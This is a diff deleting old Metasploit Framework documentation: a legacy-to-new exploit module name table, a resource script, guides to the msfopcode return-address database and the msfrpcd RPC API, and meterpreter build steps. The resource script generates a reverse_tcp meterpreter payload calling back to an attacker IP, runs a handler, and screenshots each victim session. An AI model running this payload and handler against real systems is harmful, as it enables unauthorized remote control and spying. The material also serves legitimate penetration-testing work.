|
|
||||||
rras_ms06_025_rasman exploit/windows/smb/ms06_025_rasmans_reg
|
|
||||||
rsa_iiswebagent_redirect exploit/windows/isapi/rsa_webagent_redirect
|
|
||||||
safari_safefiles_exec exploit/osx/browser/safari_metadata_archive
|
|
||||||
samba_nttrans exploit/multi/samba/nttrans
|
|
||||||
samba_trans2open_osx exploit/osx/samba/trans2open
|
|
||||||
samba_trans2open_solsparc exploit/solaris/samba/trans2open
|
|
||||||
sambar6_search_results exploit/windows/http/sambar6_search_results
|
|
||||||
smb_sniffer auxiliary/server/capture/smb
|
|
||||||
seattlelab_mail_55 exploit/windows/pop3/seattelab_pass
|
|
||||||
securecrt_ssh1 exploit/windows/ssh/securecrt_ssh1
|
|
||||||
sentinel_lm7_overflow exploit/windows/license/sentinel_lm7_udp
|
|
||||||
servu_mdtm_overflow exploit/windows/ftp/servu_mdtm
|
|
||||||
shixxnote_font exploit/windows/misc/shixxnote_font
|
|
||||||
shoutcast_format_win32 exploit/windows/http/shoutcast_format
|
|
||||||
slimftpd_list_concat exploit/windows/ftp/slimftpd_list_concat
|
|
||||||
solaris_dtspcd_noir exploit/solaris/dtspcd/heap_noir
|
|
||||||
solaris_lpd_exec exploit/solaris/lpd/sendmail_exec
|
|
||||||
solaris_lpd_unlink auxiliary/dos/solaris/lpd/cascade_delete
|
|
||||||
solaris_sadmind_exec exploit/solaris/sunrpc/solaris_sadmind_exec
|
|
||||||
solaris_ttyprompt exploit/solaris/telnet/ttyprompt
|
|
||||||
sphpblog_file_upload exploit/unix/webapp/sphpblog_file_upload
|
|
||||||
squid_ntlm_authenticate exploit/linux/proxy/squid_ntlm_authenticate
|
|
||||||
svnserve_date exploit/multi/svn/svnserve_date
|
|
||||||
sybase_easerver exploit/windows/http/sybase_easerver
|
|
||||||
tftpd32_long_filename exploit/windows/tftp/tftpd32_long_filename
|
|
||||||
trackercam_phparg_overflow exploit/windows/http/trackercam_phparg_overflow
|
|
||||||
ultravnc_client exploit/windows/vnc/ultravnc_client
|
|
||||||
ut2004_secure_linux exploit/linux/games/ut2004_secure
|
|
||||||
ut2004_secure_win32 exploit/windows/games/ut2004_secure
|
|
||||||
warftpd_165_user exploit/windows/ftp/warftpd_165_user
|
|
||||||
warftpd_165_pass exploit/windows/ftp/warftpd_165_pass
|
|
||||||
webstar_ftp_user exploit/osx/ftp/webstar_ftp_user
|
|
||||||
winamp_playlist_unc exploit/windows/browser/winamp_playlist_unc
|
|
||||||
windows_ssl_pct exploit/windows/ssl/ms04_011_pct
|
|
||||||
wins_ms04_045 exploit/windows/wins/ms04_045_wins
|
|
||||||
wmailserver_smtp exploit/windows/smtp/wmailserver
|
|
||||||
wsftp_server_503_mkd exploit/windows/ftp/wsftp_server_503_mkd
|
|
||||||
ypops_smtp exploit/windows/smtp/ypops_overflow1
|
|
||||||
zenworks_desktop_agent exploit/windows/novell/zenworks_desktop_agent
|
|
||||||
|
|
|
@ -1,49 +0,0 @@
|
||||||
#
|
|
||||||
# Quick RC script to demonstrate the Ruby blocks in RC files
|
|
||||||
#
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
|
|
||||||
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
|
|
||||||
#
|
|
||||||
|
|
||||||
use exploit/multi/handler
|
|
||||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
|
||||||
set LPORT 4444
|
|
||||||
set LHOST 192.168.0.228
|
|
||||||
set ExitOnSession false
|
|
||||||
|
|
||||||
exploit -j
|
|
||||||
|
|
||||||
# The first sleep below is not necessary, but makes the output cleaner
|
|
||||||
<ruby>
|
|
||||||
sleep(1)
|
|
||||||
|
|
||||||
print_status("Waiting on an incoming sessions...")
|
|
||||||
while (true)
|
|
||||||
framework.sessions.each_pair do |sid,s|
|
|
||||||
thost = s.session_host
|
|
||||||
|
|
||||||
# Ensure that stdapi has been loaded before running
|
|
||||||
if s.ext.aliases['stdapi']
|
|
||||||
print_status("Screenshotting session #{sid} #{thost}...")
|
|
||||||
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
|
|
||||||
print_status("Closing session #{sid} #{thost}...")
|
|
||||||
s.kill
|
|
||||||
else
|
|
||||||
print_status("Session #{sid} #{thost} active, but not yet configured")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
sleep(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("All done")
|
|
||||||
</ruby>
|
|
||||||
|
|
||||||
# Kill all open sessions
|
|
||||||
sessions -K
|
|
||||||
|
|
||||||
# Exit the console (optional)
|
|
||||||
exit
|
|
||||||
|
|
|
@ -1,338 +0,0 @@
|
||||||
Using the Opcode Database CLI (msfopcode)
|
|
||||||
|
|
||||||
The 3.0 version of the Metasploit Framework comes with a command line
|
|
||||||
interface to the Metasploit Opcode Database. This can be used instead
|
|
||||||
of the web-based wizard to easily search for portable opcode
|
|
||||||
addresses. The interface is provided through the msfopcode command
|
|
||||||
which is found in the root directory of the installation. This
|
|
||||||
interface is merely a front-end to a the
|
|
||||||
Rex::Exploitation::OpcodeDb::Client class interface that interfaces
|
|
||||||
with a HTTP-based XML protocol running on the Metasploit.com
|
|
||||||
web-server.
|
|
||||||
|
|
||||||
The interface itself provides a simplified interface to some of the
|
|
||||||
different aspects of the opcode database. When running the command
|
|
||||||
with no arguments, the following output is shown:
|
|
||||||
|
|
||||||
$ ./msfopcode
|
|
||||||
|
|
||||||
Usage: msfopcode command
|
|
||||||
|
|
||||||
SUPPORTED COMMANDS
|
|
||||||
|
|
||||||
stats Display database statistics
|
|
||||||
locales Display supported locales
|
|
||||||
metatypes Display supported opcode meta types (Ex: jmp reg)
|
|
||||||
groups Display supported opcode groups (Ex: esp => eip)
|
|
||||||
types Display supported opcode types (Ex: jmp esp)
|
|
||||||
platforms Display supported platforms
|
|
||||||
modules Display information about specific modules
|
|
||||||
search Search for opcodes given a set of criteria
|
|
||||||
|
|
||||||
The purpose of the stats command is to show the current database
|
|
||||||
statistics, such as the number of opcodes and modules currently
|
|
||||||
indexed by the database and the last time the database was updated.
|
|
||||||
The output to this command looks something like this:
|
|
||||||
|
|
||||||
$ ./msfopcode stats
|
|
||||||
|
|
||||||
Last Updated : Sat Sep 03 01:32:00 CDT 2005
|
|
||||||
Number of Opcodes : 12177419
|
|
||||||
Number of Opcode Types : 320
|
|
||||||
Number of Platforms : 14
|
|
||||||
Number of Architectures : 1
|
|
||||||
Number of Modules : 17683
|
|
||||||
Number of Module Segments: 71457
|
|
||||||
Number of Module Imports : 2065492
|
|
||||||
Number of Module Exports : 927637
|
|
||||||
|
|
||||||
The locales command lists the locales that are currently supported by
|
|
||||||
the database. In the future, more locales will be indexed to provided
|
|
||||||
a more complete view of opcode portability.
|
|
||||||
|
|
||||||
$ ./msfopcode locales
|
|
||||||
English
|
|
||||||
French
|
|
||||||
|
|
||||||
The metatypes command lists the opcode meta types currently supported
|
|
||||||
by the database. An opcode meta type is defined as a general
|
|
||||||
categorization of opcodes based on the action they perform, such as
|
|
||||||
jumping to a register, performing a pop/pop/ret, and so on. The meta
|
|
||||||
type helps categorize different specific types of opcodes.
|
|
||||||
|
|
||||||
$ ./msfopcode metatypes
|
|
||||||
pop/pop/ret
|
|
||||||
jmp reg
|
|
||||||
call reg
|
|
||||||
jmp [reg + offset]
|
|
||||||
call [reg + offset]
|
|
||||||
popad/ret
|
|
||||||
popaw/ret
|
|
||||||
push reg/ret
|
|
||||||
|
|
||||||
The groups command lists the opcode groups currently supported by the
|
|
||||||
database. The distinction between and opcode group and an opcode meta
|
|
||||||
type is that an opcode group associates opcodes based on the specific
|
|
||||||
action they perform, such as transitioning the instruction pointer to
|
|
||||||
the current value of a specific register, like esp.
|
|
||||||
|
|
||||||
$ ./msfopcode groups
|
|
||||||
eax => eip
|
|
||||||
ebx => eip
|
|
||||||
ecx => eip
|
|
||||||
edx => eip
|
|
||||||
edi => eip
|
|
||||||
esi => eip
|
|
||||||
ebp => eip
|
|
||||||
esp => eip
|
|
||||||
[esp + 8] => eip
|
|
||||||
[reg + offset] => eip
|
|
||||||
[esp + 0x10] => eip
|
|
||||||
[esp + 0x20] => eip
|
|
||||||
[reg] => eip
|
|
||||||
|
|
||||||
The types command lists all of the various specific opcode types
|
|
||||||
supported by the database. An opcode type is an instance of a specific
|
|
||||||
opcode or opcodes that form one logical instruction block, such as a
|
|
||||||
jmp esp. Opcode types are grouped together through the use of opcode
|
|
||||||
groups and meta types. A sampling of the output is shown below:
|
|
||||||
|
|
||||||
$ ./msfopcode types
|
|
||||||
jmp esp
|
|
||||||
call esp
|
|
||||||
push esp, ret
|
|
||||||
jmp ebp
|
|
||||||
call ebp
|
|
||||||
push ebp, ret
|
|
||||||
jmp eax
|
|
||||||
...
|
|
||||||
|
|
||||||
The platforms command lists the currently supported operating system
|
|
||||||
versions broken down by major version and service pack. At this point,
|
|
||||||
the database supports Windows NT SP3 through Windows 2003 Server SP1.
|
|
||||||
The database does not take into account hot fixes. Optionally,
|
|
||||||
platforms can be filtered by specifying the -p option with an argument
|
|
||||||
that includes a text portion of the operating system name or version
|
|
||||||
to filter. For instance, specifying -p 2000 will return only Windows
|
|
||||||
2000 versions.
|
|
||||||
|
|
||||||
$ ./msfopcode platforms
|
|
||||||
Windows NT 4.0.3.0 SP3 (IA32)
|
|
||||||
Windows NT 4.0.4.0 SP4 (IA32)
|
|
||||||
Windows NT 4.0.5.0 SP5 (IA32)
|
|
||||||
Windows NT 4.0.6.0 SP6 (IA32)
|
|
||||||
Windows 2000 5.0.0.0 SP0 (IA32)
|
|
||||||
Windows 2000 5.0.1.0 SP1 (IA32)
|
|
||||||
Windows 2000 5.0.2.0 SP2 (IA32)
|
|
||||||
Windows 2000 5.0.3.0 SP3 (IA32)
|
|
||||||
Windows 2000 5.0.4.0 SP4 (IA32)
|
|
||||||
Windows XP 5.1.0.0 SP0 (IA32)
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32)
|
|
||||||
Windows XP 5.1.2.0 SP2 (IA32)
|
|
||||||
Windows 2003 Server 5.2.0.0 SP0 (IA32)
|
|
||||||
Windows 2003 Server 5.2.1.0 SP1 (IA32)
|
|
||||||
|
|
||||||
One of the major features of the opcode database is that it indexes
|
|
||||||
detailed information about modules. For instance, the opcode database
|
|
||||||
currently contains information about imports, exports, segments, and
|
|
||||||
specific module attributes for every imported module in the database.
|
|
||||||
This makes it possible to cross reference different modules and do all
|
|
||||||
sorts of fun things. To extract information about modules, the modules
|
|
||||||
command can be used. The usage for this command is shown below:
|
|
||||||
|
|
||||||
$ ./msfopcode modules -h
|
|
||||||
|
|
||||||
Usage: msfopcode modules
|
|
||||||
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-E Include module export information
|
|
||||||
-I Include module import information
|
|
||||||
-S Include module segment information
|
|
||||||
-d Display detailed output
|
|
||||||
-h Help banner
|
|
||||||
-l A comma separated list of locales to filter (Ex: English)
|
|
||||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,use
|
|
||||||
r32.dll)
|
|
||||||
-p A comma separated list of operating system names to filter (Ex: 2000,X
|
|
||||||
P)
|
|
||||||
-x Dump the raw XML response
|
|
||||||
|
|
||||||
The explanation in the usage for each option is fairly self
|
|
||||||
explanatory, but the basic idea is that it's possible to search the
|
|
||||||
database for modules with the ability to filter based on file name,
|
|
||||||
locale, and operating system version. For the results that are
|
|
||||||
returned, information about the module imports, exports, segments, and
|
|
||||||
detailed information can be displayed. For example, to see all of the
|
|
||||||
versions of kernel32.dll currently indexed in the database, the
|
|
||||||
following command would be run:
|
|
||||||
|
|
||||||
$ ./msfopcode modules -m kernel32.dll
|
|
||||||
|
|
||||||
Matching Modules
|
|
||||||
================
|
|
||||||
|
|
||||||
Name Base Address Size Version Timestamp
|
|
||||||
Locale
|
|
||||||
---- ------------ ---- ------- ---------
|
|
||||||
------
|
|
||||||
kernel32.dll 0x77e70000 790528 5.0.2191.1 Tue Dec 14 17:20:09 CST 1999 French
|
|
||||||
kernel32.dll 0x77e40000 1056768 5.2.3790.1830031 Thu Mar 24 20:30:42 CST 2005 English
|
|
||||||
kernel32.dll 0x77e40000 999424 5.2.3790.3 Tue Mar 25 03:42:44 CST 2003 English
|
|
||||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Fri Apr 25 15:33:31 CDT 1997 English
|
|
||||||
kernel32.dll 0x77ef0000 421888 4.0.0.0 Mon Mar 29 18:10:58 CST 1999 English
|
|
||||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Sun Feb 28 17:49:07 CST 1999 English
|
|
||||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Tue Jul 20 18:19:59 CDT 1999 English
|
|
||||||
kernel32.dll 0x77e80000 745472 5.0.2191.1 Wed Dec 01 01:37:24 CST 1999 English
|
|
||||||
kernel32.dll 0x77e80000 741376 5.0.2195.1600 Fri Jun 09 21:03:14 CDT 2000 English
|
|
||||||
kernel32.dll 0x77e80000 741376 5.0.2195.2778 Fri May 04 17:34:08 CDT 2001 English
|
|
||||||
kernel32.dll 0x77e80000 745472 5.0.2195.5400 Tue Jul 23 03:13:13 CDT 2002 English
|
|
||||||
kernel32.dll 0x7c4e0000 757760 5.0.2195.6688 Thu Jun 19 22:43:40 CDT 2003 English
|
|
||||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
|
||||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
|
||||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
|
||||||
|
|
||||||
If only the versions of kernel32.dll on Windows XP running on the
|
|
||||||
English locale were of concern, the results could be limited by
|
|
||||||
specifying more limiting parameters:
|
|
||||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English
|
|
||||||
|
|
||||||
Matching Modules
|
|
||||||
================
|
|
||||||
|
|
||||||
Name Base Address Size Version Timestamp
|
|
||||||
Locale
|
|
||||||
---- ------------ ---- ------- ---------
|
|
||||||
------
|
|
||||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
|
||||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
|
||||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
|
||||||
|
|
||||||
To display detailed information about modules that match, the -d
|
|
||||||
parameter can be specified:
|
|
||||||
|
|
||||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English -d
|
|
||||||
.-============================================
|
|
||||||
|
|
||||||
Name : kernel32.dll
|
|
||||||
Base Address: 0x77e60000
|
|
||||||
Size : 937984
|
|
||||||
Version : 5.1.2600.0
|
|
||||||
Timestamp : Sat Aug 18 01:33:02 CDT 2001
|
|
||||||
Locale : English
|
|
||||||
Platforms :
|
|
||||||
|
|
||||||
Windows XP 5.1.0.0 SP0 (IA32)
|
|
||||||
|
|
||||||
.-============================================
|
|
||||||
|
|
||||||
Name : kernel32.dll
|
|
||||||
Base Address: 0x77e60000
|
|
||||||
Size : 942080
|
|
||||||
Version : 5.1.2600.11061
|
|
||||||
Timestamp : Thu Aug 29 06:40:40 CDT 2002
|
|
||||||
Locale : English
|
|
||||||
Platforms :
|
|
||||||
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32)
|
|
||||||
|
|
||||||
.-============================================
|
|
||||||
|
|
||||||
Name : kernel32.dll
|
|
||||||
Base Address: 0x7c800000
|
|
||||||
Size : 999424
|
|
||||||
Version : 5.1.2600.21802
|
|
||||||
Timestamp : Wed Aug 04 03:56:36 CDT 2004
|
|
||||||
Locale : English
|
|
||||||
Platforms :
|
|
||||||
|
|
||||||
Windows XP 5.1.2.0 SP2 (IA32)
|
|
||||||
|
|
||||||
The real purpose behind the opcode database, however, is the ability
|
|
||||||
to search for specific opcodes across different operating system
|
|
||||||
versions with the ability to cross reference results in order to
|
|
||||||
determine return address portability. For that reason, the msfopcode
|
|
||||||
script provides the search command:
|
|
||||||
$ ./msfopcode search -h
|
|
||||||
|
|
||||||
Usage: msfopcode search
|
|
||||||
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-M A comma separated list of opcode meta types to filter (Ex: jmp reg)
|
|
||||||
-P Results must span more than one operating system version
|
|
||||||
-a A comma separated list of addresses to filter (Ex: 0x41424344)
|
|
||||||
-g A comma separated list of opcode groups to filter (Ex: esp => eip)
|
|
||||||
-h Help banner
|
|
||||||
-l A comma separated list of locales to filter (Ex: English)
|
|
||||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,user32.dll)
|
|
||||||
-p A comma separated list of operating system names to filter (Ex: 2000,XP)
|
|
||||||
-t A semi-colon separated list of opcode types to filter (Ex: jmp esp,call esp)
|
|
||||||
-x Dump the raw XML response
|
|
||||||
|
|
||||||
Like the modules command, the search command provides a way of
|
|
||||||
limiting the results that come back as a result of the search. In this
|
|
||||||
case, opcode results can be limited based on meta type, group, type,
|
|
||||||
operating system, module, locale, and even address. This makes it
|
|
||||||
possible to get fairly granular results in an intuitive manner.
|
|
||||||
Furthermore, the server can be instructed to only return results that
|
|
||||||
are portable in the event that the -P option is specified, although
|
|
||||||
there are currently some issues with this option being accurate.
|
|
||||||
|
|
||||||
To search for all occurrences of a ecx => eip opcode group in
|
|
||||||
ws2help.dll on Windows 2000 and XP, the following command could be
|
|
||||||
issued:
|
|
||||||
|
|
||||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip"
|
|
||||||
|
|
||||||
Opcodes
|
|
||||||
=======
|
|
||||||
|
|
||||||
Address Type OS
|
|
||||||
------- ---- --
|
|
||||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
|
||||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
0x71aa3de3 call ecx Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
0x71aa163b push ecx, ret Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
|
||||||
|
|
||||||
To limit the results to portable ones only, the -P option can be
|
|
||||||
tagged on producing output like that shown below:
|
|
||||||
|
|
||||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip" -P
|
|
||||||
|
|
||||||
Opcodes
|
|
||||||
=======
|
|
||||||
|
|
||||||
Address Type OS
|
|
||||||
------- ---- --
|
|
||||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
|
||||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
|
||||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
|
||||||
|
|
||||||
For custom development purposes, the script can also be told to dump
|
|
||||||
results in raw XML format such that extensions can be written to the
|
|
||||||
interface in the future by third parties. This can be accomplished by
|
|
||||||
specifying the -x parameter.
|
|
||||||
|
|
||||||
More information online at: http://metasploit.com/framework/
|
|
|
@ -1,166 +0,0 @@
|
||||||
[ INTRODUCTION ]
|
|
||||||
|
|
||||||
The msfrpcd daemon uses the xmlrpc plugin to provide a remote
|
|
||||||
interface to the Metasploit Framework. By default, this service
|
|
||||||
listens on port 55553, uses SSL, and is password protected.
|
|
||||||
|
|
||||||
The RPC interface allows access to a minimal set of framework
|
|
||||||
APIs, covering the core framework, the module set, the job list,
|
|
||||||
and the session table. These APIs can be used to enumerate
|
|
||||||
modules, execute them, and interact with the resulting sessions
|
|
||||||
and jobs.
|
|
||||||
|
|
||||||
|
|
||||||
[ USAGE ]
|
|
||||||
|
|
||||||
To activate the RPC interface, launch msfrpcd, or load msfconsole
|
|
||||||
and load the xmlrpc plugin.
|
|
||||||
|
|
||||||
$ ./msfrpcd -P s3cr3tp4ss
|
|
||||||
- or -
|
|
||||||
msf> load xmlrpc Pass=s3cr3tp4ss
|
|
||||||
|
|
||||||
Once the interface is started, any compatible RPC interface can be used
|
|
||||||
to interact with the service. The 'msfrpc' client provides a Ruby
|
|
||||||
shell that can be used to talk to the service.
|
|
||||||
|
|
||||||
$ ./msfrpc -h server_name -P s3cr3tp4ss
|
|
||||||
[*] The 'rpc' object holds the RPC client interface
|
|
||||||
|
|
||||||
>> rpc.call("core.version")
|
|
||||||
=> {"version"=>"3.3-dev"}
|
|
||||||
|
|
||||||
|
|
||||||
[ API - AUTH ]
|
|
||||||
|
|
||||||
Method: auth.login
|
|
||||||
Expects: username, password
|
|
||||||
Returns: { "result" => "success", "token" => "<token>" }
|
|
||||||
Summary: This method is used by rpc.login() to obtain the session key
|
|
||||||
(token) which is sent in subsequent requests. This token uniquely
|
|
||||||
identifies a particular client and can be used by multiple clients,
|
|
||||||
even after the originating TCP session is closed. The RPC client
|
|
||||||
object automatically sends this token with all other method calls.
|
|
||||||
Inactive tokens are destroyed after five minutes of non-use.
|
|
||||||
|
|
||||||
|
|
||||||
[ API - CORE ]
|
|
||||||
|
|
||||||
Method: core.version
|
|
||||||
Expects: none
|
|
||||||
Returns: { "version" => "<framework-version>" }
|
|
||||||
|
|
||||||
|
|
||||||
[ API - MODULE ]
|
|
||||||
|
|
||||||
Method: module.exploits
|
|
||||||
Method: module.auxiliary
|
|
||||||
Method: module.payloads
|
|
||||||
Method. module.encoders
|
|
||||||
Method: module.nops
|
|
||||||
Expects: none
|
|
||||||
Returns: { "modules" => [ "module1", "module2", ... ] }
|
|
||||||
Summary: This method is used to obtain a list of available modules
|
|
||||||
of the specified type. The resulting module names can be used in
|
|
||||||
other calls within the module service.
|
|
||||||
|
|
||||||
Method: module.info
|
|
||||||
Expects: module_type, module_name
|
|
||||||
Returns: { "name" => "<name>", ... }
|
|
||||||
Summary: This method returns all shared module fields (name, authors,
|
|
||||||
version, description, etc), but also the list of targets and actions
|
|
||||||
when appropriate.
|
|
||||||
|
|
||||||
Method: module.options
|
|
||||||
Expects: module_type, module_name
|
|
||||||
Returns: { "<option_name>" => { "type" => "integer", ... } }
|
|
||||||
Summary: This method returns a list of all options for a given module,
|
|
||||||
including advanced and evasion options. The returned hash contains
|
|
||||||
detailed information about each option, including its type, its
|
|
||||||
default value, whether it is required, and so on.
|
|
||||||
|
|
||||||
Method: module.compatible_payloads
|
|
||||||
Expects: module_name
|
|
||||||
Returns: { "payloads" => [ "payload1", "payload2", ... ] }
|
|
||||||
Summary: This method only works for exploit modules and returns a
|
|
||||||
list of payloads that are compatible with the specified exploit.
|
|
||||||
|
|
||||||
Method: module.execute
|
|
||||||
Expects: module_type, module_name, options_hash
|
|
||||||
Returns: { "result" => "success" }
|
|
||||||
Summary: This method only works for exploit and auxiliary modules
|
|
||||||
and uses the simplified framework API to launch these modules
|
|
||||||
with the specified options. Option values should be placed into
|
|
||||||
the options_hash argument, including items such as PAYLOAD,
|
|
||||||
TARGET, ACTION, and all required options.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[ API - JOB ]
|
|
||||||
|
|
||||||
Method: job.list
|
|
||||||
Expects: none
|
|
||||||
Returns: { "<job_id>" => "<job_name>" }
|
|
||||||
Summary: This method returns a list of running jobs, along with
|
|
||||||
the name of the job.
|
|
||||||
|
|
||||||
Method: job.stop
|
|
||||||
Expects: job_id
|
|
||||||
Returns: { "result" => "success" }
|
|
||||||
Summary: This method kills a specific job by ID
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[ API - SESSION ]
|
|
||||||
|
|
||||||
Method: session.list
|
|
||||||
Expects: none
|
|
||||||
Returns: { "<session_id>" => { "type" => "shell", ... } }
|
|
||||||
Summary: This method returns a list of active sessions, including
|
|
||||||
the fields type, tunnel_local, tunnel_peer, via_exploit,
|
|
||||||
via_payload, and desc.
|
|
||||||
|
|
||||||
Method: session.stop
|
|
||||||
Expects: session_id
|
|
||||||
Returns: { "result" => "success" }
|
|
||||||
Summary: This method kills a specific session by ID
|
|
||||||
|
|
||||||
Method: session.shell_read
|
|
||||||
Expects: session_id
|
|
||||||
Returns: { "data" => "<shell_data>" }
|
|
||||||
Summary: This method reads any pending output from a session. This
|
|
||||||
method only works for sessions of type "shell" and does not block.
|
|
||||||
|
|
||||||
Method: session.shell_write
|
|
||||||
Expects: session_id, shell_data
|
|
||||||
Returns: { "write_count" => "<number_of_bytes_written>" }
|
|
||||||
Summary: This method writes the specified input into the session.
|
|
||||||
This method only works for sessions of type "shell" and does not
|
|
||||||
block.
|
|
||||||
|
|
||||||
|
|
||||||
[ EXCEPTIONS ]
|
|
||||||
|
|
||||||
When an error occurs, an exception is thrown on the client side. This
|
|
||||||
exception will be of class XMLRPC::FaultException and the faultCode
|
|
||||||
and faultString methods of this exception will contain detailed
|
|
||||||
information about the problem. Many API calls will raise faultCode
|
|
||||||
of 404 when the specified item is not found. An unhandled, server
|
|
||||||
exception will result in a faultCode of 500 on the client side.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[ SECURITY CONSIDERATIONS ]
|
|
||||||
|
|
||||||
At this time, the SSL certificate used by the service is
|
|
||||||
dynamically allocated, making it vulnerable to a man-in-the-middle
|
|
||||||
attack. Future versions will address this by allowing a certificate
|
|
||||||
to be generated and verified.
|
|
||||||
|
|
||||||
The current implementation passes the username and password for the
|
|
||||||
RPC service as parameters on the command line. This can lead to
|
|
||||||
disclosure of the password to other local users on some Unix systems.
|
|
||||||
The msfrpc and msfrpcd applications change the displayed arguments
|
|
||||||
as soon as they are launched, but there is still a brief window of
|
|
||||||
time where another local user may snoop the msfrpcd password. In the
|
|
||||||
future, the password will be specified via TTY or file.
|
|
|
@ -1,77 +0,0 @@
|
||||||
Steps needed to build the POSIX meterpreter from scratch
|
|
||||||
--------------------------------------------------------
|
|
||||||
|
|
||||||
1) Build bionic libc
|
|
||||||
|
|
||||||
you will need "jam" package for compiling.
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/source/bionic/libc
|
|
||||||
# ARCH=x86 TOP=${PWD} jam
|
|
||||||
... lots of output ...
|
|
||||||
# cd out/x86/
|
|
||||||
# sh make.sh
|
|
||||||
.. makes dynamic library ...
|
|
||||||
|
|
||||||
you now have a libbionic.so, copy to source/bionic/compiled/libc.so
|
|
||||||
|
|
||||||
2) Build bionic libm
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/source/bionic/libm
|
|
||||||
# make -f msfMakefile
|
|
||||||
... lots of output ...
|
|
||||||
|
|
||||||
you now have a libm.so, copy to source/bionic/compiled/
|
|
||||||
|
|
||||||
3) Build bionic libdl
|
|
||||||
|
|
||||||
# cd external/source/meterpreter/source/bionic/libdl
|
|
||||||
# make
|
|
||||||
|
|
||||||
copy libdl.so to source/bionic/compiled
|
|
||||||
|
|
||||||
4) Build openssl
|
|
||||||
|
|
||||||
download openssl 0.9.8o
|
|
||||||
|
|
||||||
Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-ldl//, on the duplicate.
|
|
||||||
|
|
||||||
# ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
|
|
||||||
...
|
|
||||||
# LIBC=/path/to/bionic/libc
|
|
||||||
# LIBM=/path/to/bionic/libm
|
|
||||||
# COMPILED=/path/to/bionic/compiled
|
|
||||||
# make CC="gcc -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend clean all
|
|
